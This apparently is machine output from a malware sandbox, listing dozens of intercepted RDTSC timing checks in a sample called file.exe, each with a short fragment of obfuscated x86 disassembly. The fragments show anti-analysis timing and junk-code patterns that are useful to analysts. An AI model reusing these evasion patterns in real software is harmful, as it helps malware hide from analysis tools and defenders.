Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70CE5 second address: A70CEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70CEB second address: A70CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70CEF second address: A70D16 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FDF30F40A5Ah 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FDF30F40A5Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70D16 second address: A70D3A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FDF30D0E300h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 jne 00007FDF30D0E2F6h 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70D3A second address: A70D40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70D40 second address: A70D44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70D44 second address: A70D48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70D48 second address: A70D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push 00000003h 0x0000000b sub edi, dword ptr [ebp+122D2C26h] 0x00000011 push 00000000h 0x00000013 mov ecx, dword ptr [ebp+122D2BDEh] 0x00000019 sub ecx, dword ptr [ebp+122D3275h] 0x0000001f push 00000003h 0x00000021 push 00000000h 0x00000023 push esi 0x00000024 call 00007FDF30D0E2F8h 0x00000029 pop esi 0x0000002a mov dword ptr [esp+04h], esi 0x0000002e add dword ptr [esp+04h], 00000017h 0x00000036 inc esi 0x00000037 push esi 0x00000038 ret 0x00000039 pop esi 0x0000003a ret 0x0000003b sub dword ptr [ebp+122D1C00h], ebx 0x00000041 call 00007FDF30D0E2F9h 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70D9C second address: A70DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70DA0 second address: A70DC8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDF30D0E2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FDF30D0E307h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70ED1 second address: A70F36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov dword ptr [ebp+122D233Bh], esi 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FDF30F40A58h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 movsx ecx, bx 0x0000002b mov esi, 54580EAAh 0x00000030 mov dword ptr [ebp+122D1A97h], eax 0x00000036 call 00007FDF30F40A59h 0x0000003b pushad 0x0000003c push edi 0x0000003d jo 00007FDF30F40A56h 0x00000043 pop edi 0x00000044 jmp 00007FDF30F40A5Dh 0x00000049 popad 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push edi 0x0000004e jl 00007FDF30F40A56h 0x00000054 pop edi 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70F36 second address: A70F3B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70F3B second address: A70F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70F4B second address: A70F6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007FDF30D0E2FDh 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 jl 00007FDF30D0E2F6h 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71048 second address: A7104C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7104C second address: A7105A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30D0E2FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A710EA second address: A71102 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 je 00007FDF30F40A5Ch 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71102 second address: A71108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71108 second address: A71139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov edi, 6F07C50Eh 0x0000000c push 00000000h 0x0000000e jmp 00007FDF30F40A5Dh 0x00000013 push EAB50ECFh 0x00000018 pushad 0x00000019 jbe 00007FDF30F40A5Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71139 second address: A7113D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7113D second address: A711B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 154AF1B1h 0x0000000e call 00007FDF30F40A67h 0x00000013 jmp 00007FDF30F40A5Ah 0x00000018 pop esi 0x00000019 push 00000003h 0x0000001b mov dword ptr [ebp+122D190Fh], edi 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ebp 0x00000026 call 00007FDF30F40A58h 0x0000002b pop ebp 0x0000002c mov dword ptr [esp+04h], ebp 0x00000030 add dword ptr [esp+04h], 00000018h 0x00000038 inc ebp 0x00000039 push ebp 0x0000003a ret 0x0000003b pop ebp 0x0000003c ret 0x0000003d sub dword ptr [ebp+122D291Bh], edi 0x00000043 push 00000003h 0x00000045 mov si, cx 0x00000048 call 00007FDF30F40A59h 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 push edi 0x00000051 pop edi 0x00000052 push edx 0x00000053 pop edx 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A711B3 second address: A711CE instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDF30D0E2FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FDF30D0E2F6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A711CE second address: A711D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A711D4 second address: A711EE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDF30D0E2F8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 jnc 00007FDF30D0E2F6h 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A711EE second address: A71265 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jo 00007FDF30F40A5Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a jmp 00007FDF30F40A66h 0x0000001f pop eax 0x00000020 mov edx, 48B9AB3Eh 0x00000025 lea ebx, dword ptr [ebp+12452B5Eh] 0x0000002b jmp 00007FDF30F40A66h 0x00000030 xchg eax, ebx 0x00000031 push ebx 0x00000032 jl 00007FDF30F40A61h 0x00000038 pop ebx 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d js 00007FDF30F40A56h 0x00000043 jnc 00007FDF30F40A56h 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71265 second address: A7126B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A912AA second address: A912C2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDF30F40A5Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jnp 00007FDF30F40A56h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A912C2 second address: A912CA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A912CA second address: A912D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007FDF30F40A56h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A912D6 second address: A912EB instructions: 0x00000000 rdtsc 0x00000002 je 00007FDF30D0E2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d je 00007FDF30D0E2F6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F315 second address: A8F31A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F49D second address: A8F4A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F641 second address: A8F649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F649 second address: A8F64F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F64F second address: A8F675 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FDF30F40A71h 0x0000000f jmp 00007FDF30F40A65h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F675 second address: A8F679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F679 second address: A8F67E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F7BE second address: A8F7C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDF30D0E2F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F7C8 second address: A8F7DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30F40A61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F7DD second address: A8F7E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F949 second address: A8F94D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F94D second address: A8F953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8FDD4 second address: A8FDE8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDF30F40A56h 0x00000008 jo 00007FDF30F40A56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8FDE8 second address: A8FDEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87F1B second address: A87F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop ecx 0x0000000a pushad 0x0000000b jc 00007FDF30F40A58h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87F31 second address: A87F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FDF30D0E308h 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9049F second address: A904C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FDF30F40A56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDF30F40A68h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A904C5 second address: A904C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A904C9 second address: A904E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jl 00007FDF30F40A61h 0x0000000e jmp 00007FDF30F40A5Bh 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A90E4F second address: A90E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FDF30D0E2F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A90E5B second address: A90E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A910F5 second address: A9110F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30D0E2FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edx 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 push esi 0x00000013 pop esi 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93620 second address: A93624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93624 second address: A9362E instructions: 0x00000000 rdtsc 0x00000002 js 00007FDF30D0E2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9362E second address: A93633 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55F8F second address: A55F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FDF30D0E2F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98DE9 second address: A98DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98DED second address: A98E49 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDF30D0E30Eh 0x00000008 jmp 00007FDF30D0E308h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007FDF30D0E308h 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push edi 0x0000001a jmp 00007FDF30D0E305h 0x0000001f pop edi 0x00000020 mov eax, dword ptr [eax] 0x00000022 pushad 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98E49 second address: A98E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A977A8 second address: A977AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A977AC second address: A977CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDF30F40A5Bh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FDF30F40A5Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A977CD second address: A977D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A97ED1 second address: A97EEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30F40A67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D9AD second address: A9D9B7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDF30D0E2F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E0C2 second address: A9E0C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E0C8 second address: A9E0CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E214 second address: A9E219 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E219 second address: A9E221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F72D second address: A9F732 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F732 second address: A9F746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDF30D0E2F6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F746 second address: A9F74A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F74A second address: A9F750 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F9A7 second address: A9F9B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FDF30F40A56h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FF2E second address: A9FF38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FF38 second address: A9FFD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF30F40A5Dh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push esi 0x0000000d jns 00007FDF30F40A6Dh 0x00000013 pop esi 0x00000014 xchg eax, ebx 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007FDF30F40A58h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f jmp 00007FDF30F40A5Ch 0x00000034 nop 0x00000035 push eax 0x00000036 jmp 00007FDF30F40A61h 0x0000003b pop eax 0x0000003c push eax 0x0000003d pushad 0x0000003e pushad 0x0000003f jmp 00007FDF30F40A62h 0x00000044 jne 00007FDF30F40A56h 0x0000004a popad 0x0000004b push eax 0x0000004c push edx 0x0000004d jnl 00007FDF30F40A56h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FFD5 second address: A9FFD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA0127 second address: AA0136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF30F40A5Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA035F second address: AA0375 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDF30D0E2FEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA0510 second address: AA0516 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA130D second address: AA1363 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007FDF30D0E304h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FDF30D0E2FAh 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FDF30D0E2F8h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+1244C40Dh], eax 0x00000038 xchg eax, ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1363 second address: AA136A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA136A second address: AA1392 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FDF30D0E304h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDF30D0E2FBh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1392 second address: AA139C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDF30F40A5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA3B1B second address: AA3B21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
